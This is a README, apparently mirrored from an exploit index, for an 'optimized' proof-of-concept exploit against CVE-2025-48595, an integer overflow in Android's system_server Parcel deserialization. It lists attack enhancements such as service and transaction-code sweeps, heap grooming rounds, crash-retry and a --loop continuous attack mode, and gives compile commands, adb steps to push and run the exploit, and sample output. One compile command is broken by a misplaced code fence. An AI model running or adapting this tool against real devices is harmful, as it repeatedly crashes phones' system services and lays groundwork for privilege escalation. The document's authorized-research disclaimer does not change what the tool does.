## https://sploitus.com/exploit?id=C1B0584D-41C9-5E6B-B671-281BA2690329
# CVE-2025-48595 — Android Framework Integer Overflow Vulnerability (Optimized Version)
| Field | Details |
|---|---|
| **CVE** | CVE-2025-48595 |
| **CVSS** | 8.4 (High) |
| **CWE** | CWE-190 — Integer Overflow |
| **Component** | Android Framework — Parcel Deserialization |
| **Affected Versions** | Android 14, 15, 16 (API 34-36) |
| **Patches** | 2026-06-01 Security Patch Level |
| **CISA KEV** | ✅ Listed in known vulnerabilities |
| **Off-the-shelf Exploitation** | ✅ Active exploitation exists |
## Vulnerability Details
In the Parcel deserialization process of `system_server`, there is no overflow check when multiplying the array length `N` by the element size `sizeof(int32_t)`:
```java
int count = parcel.readInt(); // Attacker-controlled: 0x40000001
int allocSize = count * 4; // 0x40000001 * 4 → truncated to 4 bytes
byte[] buf = new byte[allocSize]; // Only 4 bytes are allocated
parcel.readByteArray(buf); // Writing large amounts of data → heap overflow
```
## Optimizations (Compared to the original version)
| Optimization | Original | Optimized Version |
|---|---|---|
| **Overflow Value** | Only `0x40000001` | 4 values: `0x40000001`, `0x80000001`, `0x20000003`, Control Group |
| **Target Services** | Only AMS, PMS, NMS | 9 targets (including WMS, Power, Alarm, Input, OPPO high code segments) |
| **Transaction Codes** | Only codes 1 and 10 | Automatically traverse codes 1-20, 100-120 |
| **Heap Layout** | 1 round, 64 transactions | 3 rounds, 144 transactions, with sizes alternating |
| **Retry Mechanism** | None | Automatically detect system_server crashes and retry after recovery |
| **Log Output** | Plain text | Timestamped with ANSI colors |
| **Continuous Attacks** | None | Supports loop attacks with `--loop` parameter |
| **MMAP Size** | 4 pages | 16 pages (automatically downgraded) |
## Compilation
### Cloud-based Compilation (Recommended)
Push directly to GitHub. Actions will automatically compile and generate both `aarch64` and `x86_64` versions. The results can be downloaded from the Actions page. ### Local Compilation (Requires NDK r27+)
```bash
# aarch64 (Physical Device)
export NDK=/path/to/android-ndk-r27
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android36-clang \
-z max-page-size=16384 -std=c11 -Wall -Wextra -O2 \
main.cpp -o CVE-2025-48595_exploit -x c
# x86_64 (Emulator)
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/x86_64-linux-android36-clang \
-z max-page-size=16384 -std=c11 -Wall -Wextra -O2
```
main.cpp -o CVE-2025-48595_exploit -x c
## How to Use
### Basic Usage
```bash
# Push to device
adb push CVE-2025-48595_exploit /data/local/tmp/
adb shell chmod 755 /data/local/tmp/CVE-2025-48595_exploit
# Execute (single attack)
adb shell /data/local/tmp/CVE-2025-48595_exploit
# Monitor system_server crashes
adb logcat -v time | grep -E "system_server|FATAL|CRASH|Zygote"
```
### Continuous Attack Mode
```bash
adb shell /data/local/tmp/CVE-2025-48595_exploit --loop
```
In `--loop` mode, the PoC will continuously attack. Each time a `system_server` crash is detected, it waits for the system to recover before proceeding to the next round of attacks.
## Expected Output
### Vulnerability Present
```
[08:12:33] ╔════════════════════════════════════════════════════════════════════════════════════
[08:12:33] ║ CVE-2025-48595 Android Framework Integer Overflow
[08:12:33] ╚════════════════════════════════════════════════════════════════════════════════════
[08:12:33] [+] Overflow transaction accepted! service=activity code=10 overflow=0x40000001
[08:12:34] [+] SystemServer crashed detected! Vulnerability successfully triggered! [08:12:34] ═══ Attack statistics ╝
[08:12:34] Total transactions: 142
[08:12:34] Transactions accepted: 1
[08:12:34] Crashes detected: 1
[08:12:34] [+] Vulnerability verified! SystemServer crashed due to heap corruption
```
### Patched
```
[08:12:33] [-] No attack paths were hit. Device may have been patched. [08:12:33] [-] Checking security patch level: getprop ro.build.version.security_patch
```
## Security Patch Check
```bash
adb shell getprop ro.build.version.security_patch
# If >= 2026-06-01 → Patched
# If < 2026-06-01 → Vulnerability exists
```
## Notes
- **For authorized security research and penetration testing only**
- This PoC triggers a DoS-level heap corruption. A complete LPE requires device-specific heap layout and ROP chains.
- Even if `system_server` crashes, Zygote will automatically restart, and the device will resume after a brief pause.
- No root permission is required; it can be triggered from the `shell` user (UID 2000).
- OPPO devices may have custom permission checks, but integer overflow occurs within the Framework, and SELinux cannot prevent it.
## References
- [NVD] https://nvd.nist.gov/vuln/detail/CVE-2025-48595
- [Google Security Bulletin] https://source.android.com/docs/security/bulletin/2026/2026-06-01
- [CISA KEV] https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-158a
- Original PoC: https://github.com/Samaruta-batto/android-security